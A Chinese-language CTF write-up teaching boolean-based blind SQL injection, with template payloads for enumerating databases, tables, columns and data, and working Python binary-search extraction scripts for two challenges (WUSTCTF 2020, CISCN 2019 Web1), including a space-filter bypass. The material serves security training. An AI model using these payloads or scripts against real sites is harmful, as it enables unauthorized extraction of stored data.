布尔盲注
布尔盲注
当存在SQL注入时,攻击者无法通过页面或请求的返回信息、回显获得SQL注入语句的执行结果。可以利用返回执行结果的True或False,来判断注入语句是否执行成功。
常用函数
substr(str,start,len)截取字符串,start表示截取字符串的开始位,len表示截取长度。
ascii()返回字符串的ascii值。
查询语句
查库:
id=1' and ascii(substr(database(),n,1))>0#
id=1^(ascii(substr(database(),n,1))>0)^1
查表:
id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),n,1))>0#
id=1^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),n,1))>0)^1
查列:
id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=table),n,1))>0#
id=1^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=table),n,1))>0)^1
查数据:
id=1' and ascii(substr((select group_concat(column) from table),n,1))>0#
id=1^(ascii(substr((select group_concat(column) from table),n,1))>0)^1
例题
[WUSTCTF 2020]颜值成绩查询
输入1时有
输入1’时会有
输入2,3,4时结果不同,但没多大用,所以对于SQL注入语句只有两种结果,这时可以用布尔盲注。
先抓个包fuzz一下。发现什么都没有被过滤,那就直接贴个脚本,这里我用的是二分法,能极大提高爆破速度。
import requests url="http://node5.anna.nssctf.cn:24391/" database="" flag="Hi admin, your score is: 100" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="?stunum=1^(ascii(substr(database(),{},1))>{})^1".format(i,mid_num) res=requests.get(url+payload) if flag in res.text: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break database+=chr(mid_num) print(database) table="" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1".format(i,mid_num) res=requests.get(url+payload) if flag in res.text: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break table+=chr(mid_num) print(table) column="" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema='ctf')and(table_name='flag')),{},1))>{})^1".format(i,mid_num) res=requests.get(url+payload) if flag in res.text: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break column+=chr(mid_num) print(column) data='' for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="?stunum=1^(ascii(substr((select(group_concat(flag,':',value))from(flag)),{},1))>{})^1".format(i,mid_num) res=requests.get(url+payload) if flag in res.text: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break data+=chr(mid_num) print(data)
依次爆数据库,爆表名,爆列名。
最后获取flag。
[CISCN 2019华北Day2]Web1
先输入1
在输入1'
接着抓包fuzz一下。发现过滤了空格和/**/,可以用()绕过。
脚本
import requests url='http://node4.anna.nssctf.cn:28136/index.php' tag='Hello, glzjin wants a girlfriend.' flag='' for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload={'id':'1^(ascii(substr((select(flag)from(flag)),{},1))>{})^1'.format(i,mid_num)} res=requests.post(url,data=payload) if tag in res.text: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break flag+=chr(mid_num) print(flag)
爆出flag
参考文章:https://blog.csdn.net/c_programj/article/details/115557295